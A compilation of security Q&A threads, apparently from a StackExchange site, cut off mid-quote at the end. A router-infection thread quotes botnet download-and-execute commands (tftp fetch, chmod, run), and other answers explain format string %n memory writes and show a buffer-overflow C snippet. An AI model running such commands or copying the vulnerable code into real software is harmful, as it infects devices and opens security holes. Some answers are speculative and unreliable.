Remote authentication with random number challenge vs timestamp? Many remote-terminal to server authentication protocols use random numbers sent by the server as a challenge that the user will encrypt and send back to the server. This way an adversary cannot perform a replay attack since the number being encrypted and sent to the server (along with other parameters) is random and unknown beforehand.

But what if the adversary always records the line and maps each random number he/she ever encountered to the encrypted traffic coming after it ?

If the adversary meets a random number previously sent by the server he/she will be able to replay the traffic.

So why not use timestamp as a challenge ? A timestamp always grows and will always be different than any previous timestamp ?

Why is the use of random numbers preferable to timestamps ?

Edit: Let's say the client and server share the same password (user's password) so encrypting a future timestamp would be impossible for the replay attacker without knowing the user's password.

This white paper from ExploitDB will likely answer many of your questions.

https://www.exploit-db.com/docs/english/41621-attacking-rdp---how-to-eavesdrop-on-poorly-secured-rdp-connections.pdf

My best guess is they chose to use a pseudo random number because they choose to use a XOR operation, which requires the key to be at least the same length as the plaintext for efficacy. Because a timestamp would always be fixed length, it eliminates a good deal of key possibilities.

Disclaimer: I'm not a cryptanalyst, and this question may be better suited to the Cryptography StackExchange Community.


How can a hacker disable the LED attached to a webcam without critically damaging the hardware? Some webcams have an LED next to it which notifies the user it's working.

Hackers are supposed to be able to disable this LED in order to spy their victims without their knowledge, but how can you disable a component, in this case a diode, without making the rest of the circuit unusable?

If an LED is connected in series to the camera sensor, I guess damaging the diode would result in a non-voltage passing component, making the whole webcam circuit unusable.

I'm talking about domestic PC webcams, like the ones you can find in a laptop, for example. I was also thinking in a series connected LED to the webcam in my ignorance of how these systems work.

What I want to know is the way hackers can force a misbehavior of your LED to mislead you and make you think you're not being recorded.

Note that I'm asking this question from the electronic point of view, I'm interested in security, but I'm not trying to get a how-to or something similar.

Yes, they can and it has been demonstrated before.

Basically, the naive camera design uses a USB-capable microcontroller and drives the "camera on" LED with a GPIO pin. If you can figure out a way to rewrite the firmware of that microcontroller then you can do whatever you like.

I was part of a team that designed high resolution webcams. Part of the design criteria of a particular model was positive indication of a secure channel. The enclosure design included a mechanical door over the lens, and a small hall-effect sensor  and magnet that forced the image sensor into reset (through a dedicated RESET# pin on the image sensor) that was forced low when the door was closed.

It was impossible to rewrite the firmware to override that security measure. It wasn't, however, totally safe: if you got physical access to the camera you could defeat this hardware interlock, but that was not part of the scope of this project.

edit

I just wanted to add that in the particular demonstration I linked, the LED was not controlled by an arbitrary GPIO on the FX2LP but rather it was attached to the GPIO that was controlling the image sensor's shutdown signal. This would have been a secure design but the authors of the paper noticed that the shutdown signal was not a "hard" shutdown for the sensor; it was actually an optional input and through careful control of the sensor configuration, the sensor was configured to ignore the shutdown signal. That's even more devious than my original answer. The particular camera I worked on was using the RESET# signal which was not able to be subverted, but it's still a very good lesson for hardware designers.


How is a Tor hidden service immune to exit node attacks? Let me explain with a nifty diagram:
IP/RP <-> bunch of Tor clients/node (Tor circuit) <-> Tor hidden service

Wouldn't the last Tor client in the circuit knows that the message is for the Tor hidden service? I know that the communication is encrypted, but there is an IP address associated with each packed (i.e. send this encrypted packet to A). If the last node to the hidden service knows the IP address to send the packet to, wouldn't it know the hidden service's clearnet address?

I have read the specifications for Tor hidden services, IPs and RPs, but it just seems to not explain its immunity to exit node sniffing.

The node right next to the hidden service in that circuit does know its IP, but it knows nothing about it other than that; not even that it's a hidden service, nor the message that is being sent to it -- it looks just like another node in the circuit.


Enterprise Encryption Considerations What are the different aspects to consider for Enterprise Encryption policy?

So far the resources I have are:

https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet

http://esj.com/articles/2008/07/01/8-best-practices-for-encryption-key-management-and-data-security.aspx

http://securosis.com/reports/Securosis_Understanding_DBEncryption.V_.1_.pdf

http://jdcmg.isc.ucsb.edu/docs/secpresent/Oracle-Secure-SSN-Vault-White-Paper-MAY2007.pdf

Most of these deal with encryption of sensitive data in the database. For an internal audit on the encryption standards in an organization, what else should be taken into consideration?

Narrowing it down to these factors with regard to key management, what would be the best practices:

Storage of keys within source code
Storage of keys within configuration files
Storage of keys within a hardware security module
Storage of keys within a keystore
Key Rotation policy
Backup of keys
Restricted Access to Keys

NIST has provided a guide available here: http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_PART3_key-management_Dec2009.pdf

What would be relevant from an enterprise point of view?

I think as the first step you should create a Data Classification policy where you would define different levels of data sensitivity (such as public, internal only, confidential, secret etc).  Then you would have a clear guide which data is valuable enough to be protected with encryption, either at rest or in transmission.  Defining the data classification would greatly help both the enterprise employees (to know which data to protect and how well) as well as the internal and external auditors.

In terms of Encryption Policy itself, I would recommend to explicitly state prohibition on creating own encryption schemes - everyone should be using the industry-standard well-established encryption library and mechanisms.


Platform as a Service and Anti Virus We currently use a PaaS solution for our web application and db for a Ruby on Rails environment and PostgreSQL.

In an on-premise solution, we had servers that we managed ourselves and had antivirus solution installed on these servers. Does it make sense to have AV service on a PaaS that is provided and integrated by the PaaS provider (i.e. we are not installing AV)? I searched the cloud provider's site and have not come across this.

With a PaaS, they manage both the hardware and software for you (which is different from IaaS, when they manage the hardware and you control the software).  The advantage of PaaS is of course that you have less to do - you hand them your application and they manage everything to make it run - hardware, OS, load balancing, automatic scaling, etc...  Many of these items can be a pain to manage properly, so PaaS has some helpful advantages.
I know you already know all of this, but your answer is hiding in there.  They manage everything, and as a result you implicitly assume that they are managing it properly.  Downtime, for any reason, is covered by your service agreement.  As a result:

If they are down because some critical hardware fails, they may owe you a refund
If they are down because they upgrade their software and crash their systems, they may owe you a refund
If they are down because ransomware takes over their systems, they may owe you a refund
If they are down because a virus takes over their infrastructure, they may owe you a refund
If they get hacked and the attacker walks away with your confidential information, you may be able to sue them for lots of money

So to recap:
Should they use an anti-virus?
Who knows!  If they are running an OS that requires an antivirus, then they probably should be.  If they are running something else, then they probably shouldn't.  Neither you nor I really "know" what their hardware/network/OS setup look like, so no one can answer that question for you.  The only question that really matters is:
Can they reliably provide the service they promised and keep your data safe too?
Answering that question goes far beyond the usage of anti-virus software, and is even more impossible to answer.  Therefore, the question you really want answered is to some extent unanswerable.  At least, I wouldn't expect them to talk extensively about antivirus usage or any details like that.  I would just expect them to make general promises about how awesome and secure they are, and probably mention as many positive reviews or referrals as they can squeeze out of their customers.  I don't expect your typical PaaS provider to let you "peek under the hood", so to speak, so at the end of the day it is really just about trust and the threat of legal action if they screw up.
Trusting a PaaS
Finally I think it's worth a brief aside to say that while you can't necessarily verify just how well a particular PaaS might secure their ecosystem, it's certainly worthwhile to ask whether a particular vendor might be trustworthy.  The problem is that egregious failures on the part of PaaS vendors have definitely happened.  The biggest example that comes to mind is Code Spaces.  Part of their services were data protection, for which they promised:

“Backing up data is one thing, but it is meaningless without a
recovery plan, not only that a recovery plan – and one that is
well-practiced and proven to work time and time again,” a cached
version of their website reads. “Code Spaces has a full recovery plan
that has been proven to work and is, in fact, practiced.”

Unfortunately they were hacked and had their full infrastructure destroyed by the attacker, effectively destroying all customer data and rendering them immediately out of business.  Some caution is required!


Biba and Bell LaPadula together Can Biba model always be combined with Bell-LaPadula model? What are the issues that arise?Would there be conflicts?How would information flow be affected?

To answer all your questions at once, since the BLP is no read up, no write down data confidentiality model, and Biba is no read down, no write up data integrity model, you effectively end up with a prohibitive, same level only data confidentiality and integrity model. In theory, it shouldn't result in any less secure model, quite the contrary, it might be too strict to have any real life application.

What that means is, when both are properly implemented into a secure system, they will prohibit any security level moving vertically in either direction and you end up with all security levels isolated from one another both for read as well as write operations. I.e. discrete, non-interactive security levels. An information security equivalent of a stroboscope. I would only recommend it if this is exactly what you want, e.g. trying to isolate already existing down-vertical access control into standalone security groups, like maybe when dissolving a business partnership, or any other compartmental lockdown like that.


What to do when my router is infected with a malware (becoming a part of a botnet)? Backstory

Few years ago I bought an Aztech DSL5005 ADSL router, it was the only router available which I could verify I can telnet to and get a proper Linux environment (I wanted an OpenWRT enabled ADSL router, but could not get any!). From then, I had good experience with it; I was able to cross-compile many things and get them working on it, namely transmission-daemon, wget, httpd, transocks... It was a great help as I get only few hours of electricity each day, and it helps to keep the router with a plugged flashdrive to get all the upload/download that I need for my work, since I cannot keep my laptop running all the time.

Discovering the problem

Two months ago, I went on to the router's web interface to play with some QoS settings... While wandering around settings, I found this, as a "Custom NTP Server":

`cd /tmp;tftp -l4 -r4 -g 182.186.194.41 43630;chmod 777 4;./4`

I instantly disconnected the phone cable off the router, telnet'ed to it and checked for the said file, it was not there! Next thing I did was to backup settings (It gives you a pseudo-xml file with a hierarchy of settings), and then did a hard factory reset. I proceeded to manually put the ADSL settings back...

I started to ponder what could be the source of the hack: While the router has an "admin" user for its web interface whose password can be changed, telnet user/pass are always admin/admin even after changing the web interface counterpart. I was able to mitigate this by altering config file and uploading it (then I found out it also includes two other hardcoded credentials for its web interface, I changed both). Although telnet interface is LAN only and cannot be accessed from WAN, I thought maybe a bad malware on a connected guest smartphone could have done this harm.

I tried retrieving the said file manually to examine it, but I could not (timeout/unreachable)... I left things there and thought that's it, but then after few days I checked again and found this:

`cd /tmp;tftp -l4 -r4 -g 84.249.67.148 48896;chmod 777 4;./4`

Again, somehow, the router got this again, I telnet'd: No file, tried to get the file (by manually executing tftp -l4 -r4 -g ...), but it could not get it... I tried for a long time to find out the culprit, I could not... So after wasting much time I resorted to leaving it, and thinking that it is maybe an old threat that got its master servers offline, thus it cannot retrieve its files, and it will do no harm (Not that I could do anything anyway!)

But! Today: Again! I found this:

`cd /tmp;tftp -l4 -r4 -g 31.9.x.x 36227;chmod 777 4;./4`

This time something was different: The IP block belongs to my country, and the file was there! So the previous IPs were not of a control server, but rather of previous victims, only this time a victim was within my national network and the file could be retrieved. I rebooted the router then telnet'ed to it and created a directory in place of the file to be retrieved (so it cannot be overwritten), then retrieved the file manually and copied over:

aularon@etabits-laptop:/tmp$ file 4
4: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

The file is compiled for my router architecture...

What should I do in this case? Is there a place where I can send said file for analysis? To security researchers who know better than me.

I am interested in two things:

Providing information on this "botnet",
Knowing how to take counter measures, for now I am creating the /tmp/4 directory and that's all I could come up with.

Please advice!

Edit: This question is not a duplicate of How do I deal with a compromised server?; With a compromized server one has many options and methodologies that does not apply when working on a router... I can not even update let alone do a fresh install, it also lacks many program, plus I am unable to capture network packets from/to WAN, as they get to the router first. (@mootmoot's answer seems to push in the right direction, I am checking that and will get back to it)

Google should tell you that your router model are vulnerable to Mirai botnet attack.

I don't think you can "buy" any OpenWRT router because it is about flashing an router that "flashable" with OpenWRT, there is chances to brick the router. So it is more towards DIY activities with no support from router vendor.


What is a good method to report security breaches that are being used to actively spam? I received an email the other day purporting to be from a bank I hadn't even heard of, so I decided to poke around. On some quick investigation, it looks like something has just latched onto some poor Joe's WordPress based site and has dropped a whole bunch of pages designed to look like those of this bank.

Included also are confspy logs and a PHP-based remote administration tool, which is cleanly open to any persons at least as curious as I. It even has such helpful options as "format the box".

It's worth noting that the pages that are linked to in the emails don't really stand up to scrutiny - Google Chrome immediately picks it up as a phishing attempt, and I'd imagine all the other major browsers would too.

I had half a mind briefly to just format the box, but alas I don't want to ruin poor Joe's WordPress website, nor do I want to ruin any information that might be used for more skilled people than myself. While I do doubt this would be something new and amazing in the wild, there's certainly some interesting stuff here. What are some relevant avenues to pursue in relation to either reporting this or finding out just what's going on? Is it even ethical to poke at this box as a learning exercise as long as any hat I wear is white?

edit: There is apparently a self-remove function as well. Looks like all information collected is sent to two different email addresses, which I notice have been used in other phishing exploits, so there's nothing new here - same php template, new bank facade.

Firstly, "poking around" with a compromised box without prior consent of the owner is not ethical.

The first thing you should do is contact the owner of the site, or the company/ISP who owns the webserver, and provide the URL, date and time of accessing the site, and a description of what you observed as being wrong.

Secondly, in terms of reporting incidents like this, as far as I know, there are no authoritative bodies to whom this should be reported.

If identity theft is involved, however, you can report it to: http://www.ftc.gov/bcp/edu/microsites/idtheft/

Hope that helps.


Mobile Game Auth Token Stolen Basically someone sniffed my packets and stole my auth token/cookie for a mobile game I have played on for a year and spent thousands on (crazy I know) and now they are controlling my account through their laptop and are threatening to delete all my progress.

I have tried changing my email address and password many, many times and it does generate new tokens but the old token still works also. I have spent weeks researching and trying to figure out how I can get them off my account.

I have emailed the devs many times, but they are clueless and unhelpful, so this is my last resort, please help.

Unfortunately, the situation you describe appears unsolvable. You need to invalidate the token, but the only ones that can do so are the game developers.

Possibly you can persuade them of your identity, and after creating a new account have them transfer everything from the old to the new. The unknown crackers would then find themselves with an empty, lifeless husk of your old account.

Other approaches could involve trying to locate the unknown parties that have your token. If they're threatening I guess they're communicating somehow. (Just in case -- I'm not advocating recoursing to counter-threats. Things might end badly, or deteriorate anyhow. But knowing enough about the responsible parties might offer leverage [e.g. "they" is a skript kid with reasonable parents], or even be leverage by itself. It is difficult to erase the gaming account of someone who knows who you are and where you live, and might recourse to rubber-hose cryptanalysis).

You could also try and involve the police in this: at least in my country, any identifying access token, be it a stainless steel key, a code on a slip of paper, or a password, is considered my property and e.g. copying it with pencil and paper (with intention to use it to access my data) is a criminal offense. The nature of the data - online game, biscuit recipe or online banking account - is irrelevant.

So e.g. agreeing to release a sizeable amount of money or valuable hardware in exchange for a guarantee of the token being destroyed (a silly proposition - as they say, once you pay Danegeld, you never get rid of the Dane) would likely result in the culprit or culprits, usually not too experienced in the ways of crime, having you leave the booty somewhere and being intercepted by the police as they attempt recovery.


Building a project on ARM Cortex-M, anything I can do to keep IP secure? Dealing with Chinese knockoffs and sick of it Chinese have decided to ripoff a PIC product I make. Switching to ARM for other reasons anyhow, mainly that Microchip is a joke, either STM32 or NXP LPC, exact chip is open still.

There are sites that claim to have vulnerabilities for various Cortex chips.

As I understand it, there could be a decapping process where the die is exposed and messed with
There could be a JTAG/SWD hack with a special process or over/under voltage exploit, I don't know this exists for ARM, but I know it's possible on other chip (F U PIC)
There is also a non-removable bootloader on almost all consumer ARM Cortex parts. I think STM32 is a USB and serial bootloader. NXP or Freescale or someone have a full Mass Storage Class bootloader. Since the code is kept hidden, there could be an undisclosed exploit there too.

Is there anything I can do to keep my code secure? Almost no one in my industry would have any idea what to do even if I handed them the C code. It's Chinese knock-offs / clones I need to worry about since they are using our name, logos, cloned hardware, my code, and undercutting official dealers.

The plan I have currently is to require online authentication. So that if I see a chip that isn't on my masterlist, I burn it with bad firmware. If I see a duplicated chip I verify the original and burn the clones. If the chip is valid, I like it to the user's info and move along. The legit user should see nothing but an interface for their product.

With the above idea, some one ripping us off would still get the ROM so I still have the encryption keys in the wind. While the module wouldn't really work without using it online as the interface, it's still annoying and a potential issue.

One consideration is the Chinese haven't been willing or really likely able to replicate the code without 1:1 ripping it. So I sort of think it's a leap to assume they'd rip my code, then go to reverse engineering, because that just doesn't seem like the same class of criminal that's cloning our stuff. I think they attacked us because it's such simple PCB and the code was easy to get. They likely aren't going to also reverse all the online work to make an offline interface for it, I don't think anyhow.

Thoughts on anything else I could do?

"Burning chips with bad firmware." This can result in extremely serious consequences that might even jeopardize lives.

There is definition for this type of activity. It is called sabotage and can have very serious legal consequences.

You are essentially running a cyber attack on hardware by maliciously inserting corrupted firmware with the sole purpose of bricking the device.

This is a technique used by black hats to cause irreparable damage to targets they attack. There is a chance that you will be treated as a criminal and wind up doing jail time. You can also be sued in court for countless amounts in damages.

I would not advise this unless you want to open a colossal can of worms. People understand the need to protect IP but this type of sabotage not only crosses the line but literally jumps over it. It moves from the realm of simply protecting IP and into the realm of malice.

You seriously need to consider a different way to go about this issue without causing destruction to hardware.


Can a malicious user do any harm using /dev/kvm? I'd like to know if giving access to Intel version of /dev/kvm on Linux to a user that just wants to spawn VMs gives him any extra privileges. That is, are her VMs subject to process scheduling just like other processes? Does it automatically grant direct access to any devices or memory?

You could protect /dev/kvm with a group.  Transfer /dev/kvm ownership to the group so that root privileges aren't given.  This link explains how to do it, and here's the direct quote:

The cleanest way is probably to create a group, say kvm, and add the user(s) to that group. Then you will need change /dev/kvm to owned by group kvm.
On a system that runs udev, you will probably need to add the following line somewhere in your udev configuration so it will automatically give the right group to the newly created device (i-e for ubuntu add a line to /etc/udev/rules.d/40-permissions.rules).
KERNEL=="kvm", GROUP="kvm"

To answer your question there is no danger in giving them access to /dev/kvm.  This post explains newer memory management provides protections from swapping out large amounts of memory.


How to get shodan to report IP addresses with a specific open port? I've done the leg work and I've struggled to identify how to search with the Shodan CLI, or the web search, just for a specific port and output all the IP addresses that expose this port.

For example in the cli:

shodan search [port]

I can't figure that out.

Also in the search bar on the site:

[shodan] port:[port]

This does not work as expected, possibly because pulling false resolvers and I'm looking for a weird port.

Founder of Shodan here: we crawl a few thousand ports but as you noticed 55555 isn't on that list. The search syntax for what you're trying to do is:

port:55555

Which means in the CLI you would enter:

shodan search port:55555

Or to get a count of how many are open:

shodan count port:55555

For more information about the search syntax please visit:

https://help.shodan.io/the-basics/search-query-fundamentals

If you search for simply "55555" then you are searching for banners where the main data property contains the string "55555". To search in the contents of other properties (ex: port) you need to use a search filter. A list of them is available on the developer website. Check out the /shodan/host/search method:

https://developer.shodan.io/api


Preventing LUKS key dump Is it possible to prevent a root user (user space) from running dmsetup table --showkeys to dump the LUKS master key?

I know of the TRESOR patch which essentially prevents the key from persisting in memory, and for all purposes makes the key unreadable from anything but RING0. Does/can the dmsetup command override this?

(Contextually: if an attacker gets root on a machine, it'd be nice to prevent/make it harder for them to dump this key in case of physical attack)

No, not that I'd know of. You could maybe remove the dmsetup binary from the system and only keep it in the initial ram disk, which would be enough to set up the encrypted volumes when the machine booted, and then chroot the initial ramdisk out of reach in the booted system, but this would only be a stopgap measure. You might be able to improve on it with apparmor profiles a bit, but not make it watertight (especially not against a simple download of the binary from the network).

That said, Luks is designed to keep data confidential only when it is at rest. If you're trying to avoid having the luks key stolen while the container is in use, that will most likely turn out to be hopeless.

To expand on that a bit: Even if the dmsetup binary could be coaxed into not outputting the key, root would still have access to /proc/, which would allow him access to system memory, to the encryption and decryption etc. The only way to keep the key fairly safe would be to prevent the kernel itself having access to the key, and that's obviously not possible with just software.


Using format string to control the flow of a process? I was cleaning up some code today on the advice of someone I know, and was made aware of the potential for a hacker to gain control over the flow of the process using format strings, particularly the "%n" option.

I'm not entirely sure, both conceptually and practically, how this would be achieved.

Am I right in thinking it has something to do with overwriting return addresses? Assuming I know where I'm writing to, %n still only gives me the number of characters, so surely buffer overflow prevention would render this as next to impossible? Or is there a way to move the number 0xbbff to the memory location 0xb7001122 with a string like 0xb7001122 0xbbff %n?

There's relatively little about it online! I'm quite confused!

To understand what is going on, the important point is that in C, functions do not "know" how many arguments the caller gave them. For normal functions, the compiler detects invalid usages. For instance, if you write this:

#include <string.h>
/* ... */
    memcpy(a, b);

then the compiler will complain loudly, and refuse to finish compilation: the included header <string.h> declares the memcpy() function as taking three parameters (two pointers, and an integer of type size_t). If the compiler then sees a call to memcpy() with only two parameters, the mismatch will make him scream.

However, some functions take a variable number of parameters, e.g. printf(). For these functions, the compiler cannot do much checking. printf() uses as first argument a "format string" whose contents tell printf() how many other arguments it should find, and their expected type. When the format string is a literal constant, smart compilers can do some extra checks (with gcc, this is done with the "format" attribute, a gcc-specific extension). But it cannot do anything when the format string is obtained at runtime. Imagine, for instance, the following code:

printf(s);

where s is a string which the attacker can choose (e.g. some data sent over the network, or an invocation parameter). The programmer just assumed that the string was "plain" (only alphanumeric characters) but the attacker can put "%" signs in it, which printf() interprets by looking at extra parameters. There are no extra parameters, so printf() will actually look at the memory slots where extra parameters would have been, had there been any. These slots are "lower in the stack" (technically, at higher addresses, since stacks "grow down" in most architectures); local variables, function return address, and other stack elements for the current function (and its caller, and its caller's caller, and so on) are found there.

By using %u specifiers, the attacker can read all these slots (printf() will dutifully print out their contents), and that's already bad. With the %n parameter, the powers of the attacker are even enhanced: %n takes the next parameter, interprets it as a pointer value, follows it, and writes at the pointed-to address the current number of characters so far (the number of characters printed out by printf() up to the %n). If the faulty printf() call occurs in a function where there is a local variable which is also under the control of the attacker (e.g. a simple integer value), then the attacker can make a %n to use that local variable as a pointer, and write data where it points to. In shorter words, this gives the attacker the ability to write whatever bytes he wants, wherever he wants in RAM. At that point, you are pretty much doomed.

The correct code would have been:

printf("%s", s);

which then forced printf() to print the attacker-controlled string "as is", without doing anything special with the "%" characters.

This printf() vulnerability highlights the fact that C is a rather dangerous language: no bounds checks, no strong type checks... you can make the program look at memory slots as if they were parameters, while they are not, and also interpret byte patterns as if they were pointers, which they are not. Competent C programmers will write their code so as to give the compiler as most information as possible, so as to detect errors (security holes are just programming errors with an effect that can be twisted to the attacker's advantage). But competence is a scarce resource, and even the best programmers occasionally do mistakes.


What are the dangers of hot-linking assets from other websites Say there is a situation where site a is directly linking a font file

ie https://www.example.com/FONT.woff2

from site b.

Would it be possible for someone to make a URL rewrite rule to point to a malicious file then someone who would visit site a would download the malicious file instead of the intended one?

for example, the user would hit site a, site b would have a rewrite rule for the specified font so when that is called it would redirect to https://www.example.com/MALICIOUS.JS instead.

Including resources from a third party site means that you include resources in your page where you have no control about the content of the resource. Thus, even if the content was the expected one at the time you've added the link it can change whenever it suites the owner of the site - or somebody which hacked the site. This is not restricted to a redirect as you envision but the third party site can serve a different content in the first place.

The impact of this depends on what kind of resources you hotlink. If you include JavaScript from a third party site (like done a lot when offering the ability to share on social media) then the third party can essentially fully control what gets displayed to the visitor of your site but also embed a keylogger in your page or similar. Including fonts might be a problem too since malicious fonts could be used multiple times in the past to use bugs in the browser or OS and execute malware.

And while replacing images will usually not result in unwanted code execution (unless another bug in image processing is exploited) you can get instead an image you don't actually want on your site. For example some sites punish unwanted hotlinking with "special" images but it might also be more harmful be used for phishing attacks as seen in this answer. See also this question for more ideas.

Note that the replaced resource still needs to match the expected type of resource. This means if the browser expects a font and the attacker serves a JavaScript file instead it will not be executed. But if the attacker serves a malicious font in this case it will be used.

For some types of resources and for some browsers subresource integrity will help to detect if third party resources gets changed and not load the resource in this case. But, this currently works mainly with script and css and for example not with fonts or images. And, it  works currently only with Chrome, Opera, Firefox and Safari.


How To Remove Possible Virus Files See the original question.

Using both AutoRun, where I disabled anything that wasn't verified or highlighted (that seemed suspicious), I looked at Process Explorer and found the above unverified.  In the case of S Agent, I can't suspend it.  However, these look like they were installed by Samsung but are no longer supported (according to web searches).

When I try to uninstall these applications, they refuse to uninstall.  I did do the manual trick where I removed the files (they are no longer supported by Samsung, I find it odd that Samsung didn't do this themselves) - the one file that cannot be removed is an application called GuaranaAgent (under the Samsung folder).  Unfortunately, wiping everything and starting over wouldn't work in this case because these retarded applications came with this computer - and this is kind of what I mean when I write that some of these viruses/malware are installed from the very beginning!

How do I get rid of these once and for all.
Adobe Reader and Acrobat Manager shows up as suspicious with a Total Virus score.  I cannot suspend this process, as it just restarts if I do.  How do I eliminate this once and for all - I don't need Adobe on this other computer.  SOLVED: kill the process, delete the application.  Done

UPDATE

I can't go to the store and say, "I want a computer with two browers on it: IE and Chrome and nothing else, outside of my anti virus Webroot."  I don't want Adobe, I don't want Shockwave, I don't want anything else on this machine.  I have a purpose for this machine (I have others) that Chrome and IE suffice for.  That's it.  How hard is it to just have a machine for this purpose?  The applications that are suspicious were installed on my machine before I got it!  That's what I mean how absurd everything is - what kind of company thinks that consumers are this stupid?  "We're going to sell you a computer with malware on it."  It's embarrassing.

In such cases I prefer to remove viruses by using a live system like ubuntu for example. This has the upside that the virus isn't curently executed and can't block your effort to remove it.

The process I usually follow is this:

Reboot Host with Linux Live CD
Mount Harddrive
Delete Files manually (if location is known)
Install a Antiv Virus software that runs under linux like clamav for example
Download current anti virus signatures
Scan the whole disk for viruses

Then reboot...

// This is not about trying another anti virus programm it's about running a anti virus application without running the compromised system. This is done because many viruses come with a rootkit or other mechanisms to protect themself from being removed but these mechanisms don't work outside the infected system. This is why I suggest to perform a anti virus scan outside of the system not because of the anti virus scanner itself.


Tools to analyze Hooks on Windows 7 / 2008, x64 platform What tool can I use to analyze Hooks (SSDT, Inline etc.) on Windows 7 / 2008? (x64 Platform)

Rku (Rootkit Unhooker) is the only tool I know, which is not available for x64 platforms.

As Arun suggests, GMER scans for:

hidden processes
hidden threads
hidden modules
hidden services
hidden files
hidden disk sectors (MBR)
hidden Alternate Data Streams
hidden registry keys
drivers hooking SSDT
drivers hooking IDT
drivers hooking IRP calls
inline hooks

And it also run's fine on x64/x86 machines (currently testing it on my x64)
I haven't tested these but they might help:

http://www.usec.at/rootkit.html
http://www.windowsscope.com/


How to ensure that a login is really going over http? So I've been offered the chance to go to a day long security awareness event hosted by some organization.  On their site, I noticed the login box in the corner, but the site was delivered on HTTP.  They probably are doing like some other sites and only using https for the actual login. I thought.  So I checked the source of the page, found the form being submitted for login, and noticed 'http://...'.

So I decide to do a test.  Break out google's developer tools and capture the post.  I still don't see any mention of https and I see my fake password in plain text (so they didn't encrypt with javascript before sending).

I'm wanting to bring this to my coworkers' attention, but first I want to be sure that they actually are sending it over http.  Is there any other way to verify the connection is going over http (other than setting up a MITM attack on myself, which I'm pretty sure would cause the network admin to express great... displeasure towards me)?

What you have done is a pretty thorough test, but you can get ironclad proof this way: Install Wireshark on your own computer, turn on packet capture, and perform the login.  If HTTPS, the packets you capture will be marked as such, and will be encrypted.  If not, you will be able to see the login credentials en claire in the captured data.

Do note that encrypting client-side with JavaScript does not work.  It is vulnerable to replay attacks and MITM attacks because whatever client sends to server effectively is the password, no matter what has been done to it.


Is it possible to exploit computer vision to achieve remote code execution? What kind of vulnerability in the implementation of a vision-based machine learning system (object recognition, for example) would enable an attacker to achieve remote code execution?

The only instance I can think of is a vulnerability (e.g., buffer overflow) exploited in an ML-based text recognition system via malicious text input.

As far as I can tell, the only work that has been done to exploit AI/ML algorithms involves "adversarial" inputs that fool classifiers into an incorrect classification. These seem primarily useful for bypassing ML-based authentication and confusing systems like self-driving cars, but not for attacking the computers doing the classification.

Is there research being done on this topic, or is it unlikely until more standardized ML-based systems are deployed in the wild?

Buffer overflows don't just occur with text, so it may be possible to pass an 'image' that exploits something in the image processing.  Bad code always exists though...using OWASP has a good example page, and we can construct a simple function which could overflow:

int main(int argc, char **argv)
{
    char items = imageprocessor(); // process image seen
    char buf[8]; // buffer for eight characters
    strcpy (buf, items); // cause the overflow
    printf("Items seen are: %s\n", buf); // print out data stored in buf
    return 0; // 0 as return value
}

Now, let's suggest the computer vision algorithm is identifying items and returns a char array with those items separated by a comma.  If our algorithm identifies a car, a box, and an elephant, we cause an overflow.  If our algorithm identifies text characters we could potentially control the input to that overflow.

You already identified adversarial inputs and software such as Apple's FaceID has been bypassed in the past, but these exploit the verification method used by Windows, such as WBF in Windows, rather than any ML method.


SIEM v/s Network Forensic when SIEM is already implemented in a enterprise network; does it not do all tasks and report like network forensic investigation? Or can we do away with SIEM and have only Network Forensic tools installed in a enterprise network

Or can we do away with SIEM and have only Network Forensic tools installed in a enterprise network.

Sure, you can probably get away with forensic tools installed in an enterprise network. However, said tools are probably scattered all over the network.

For convenience sake, you will probably want to aggregate all the data and logs generated by the tools in one location. You will probably want to create a nice dashboard for glance-able information because who likes looking at logs?

You probably also don't want to hire a guy to stare at the logs all day in case something goes wrong. You probably want a way to alert your administrators in case something goes wrong....

At this point, you are basically rolling your own SIEM anyway so you might as well use one that has already been written and battle-tested.


Risks of software backdoors Risks of backdoors in software are evident ever since Ken Thompson's Turing Award Lecture "Reflections on Trusting Trust". Certainly this applies to hardware just as well.

Limiting ourselves here to software, what are the genuinely good solutions of protection against backdoors? Owing to certain recent reports in the media on global Internet surveillance by nation-states, the fear of potential backdoors in software that are destined to secure the IT-securitry once again surfaces, e.g. in
http://www.golem.de/news/prism-skandal-furcht-vor-hintertueren-in-us-software-und-hardware-1306-100012.html (in German).

Long ago I learned that for standard conformity of programming language compilers there
are test centres of the diverse national standard bodies that verify the software and
issue certificates to those compiler producers that apply for certification. Could an analogous procedure eventually be a practically realizable solution or at least a good compromise?

Tests, automated or not, cannot detect backdoors. Tests detect non-malicious errors. It is easy to hide a backdoor that no test wil ever detect.

If you want to be sure that there is no backdoor in your software, then there is only one solution: write it yourself. This extends to the software tools (define your own language, write the compiler), the operating system, and the hardware itself. Ultimately, you can assume that a bucket of sand is backdoor-free; and sand is silicium.

In practice, what you cannot do yourself, you have it done by people you trust. That's the rationale behind making background checks for developers.


PHP Code execution in function parameters and logical operators After wondering about this and trying to better understanding, I tried the folowing code:

    is_string(3 and sleep(30));

Why PHP will execute code inside a parameter function (sleep in is_string) ?

And what is the role of logical operators in this case ?

Int as first in parameter for is_string:
is_string(3 and sleep(30));      // Exeuction of sleep()
is_string(3 or sleep(30));       // No-execution of sleep()
is_string(3 xor sleep(30))       // Execution of sleep()

String as first in parameter for is_string:
is_string("abc" and sleep(30));  // Execution of sleep()
is_string("abc" or sleep(30));  // No-execution of sleep()
is_string("abc" xor sleep(30));  // Execution of sleep()

Thanks,

Why PHP will execute code inside a parameter function (sleep in is_string) ?

When a function is called each parameter can be an expression. This is true for almost all languages and might be more obvious when you use something like is_string("foo" . "bar").

  And what is the role of logical operators in this case ?

and just evaluates and combines the parts from left to right to get a result. 3 and sleep(30) just means that it will treat 3 as a boolean and if this boolean is True (which it is in case if 3) it will evaluate the right side of the and operator and thus execute sleep(30).


How to secure data in a stolen raid disk? I quote from this article Forget about hacking – your servers might get stolen:

  Are data centers as secure as they want you to think?

  Though security is often a selling-point for many data centers, they
  aren’t necessarily safe from theft. There have been plenty of
  incidents involving hardware theft from data centers.

  A few examples:

  Multiple robberies at a Chicago data center
      The Chicago-based colocation company CI Host had its data center broken into on October 2, 2007. The intruders passed through a
  reinforced wall with the help of a power saw, attacked the night
  manager with a tazer, and stole at least 20 servers. This particular
  data center had at that time been burglarized at least four times
  since 2005.
  Fake police officers rob Verizon data center
      A Verizon Business data center in northern London got $4 million worth of computer equipment stolen on December 6, 2007. The
  “heist”
  was done by between three to five men dressed as police officers.
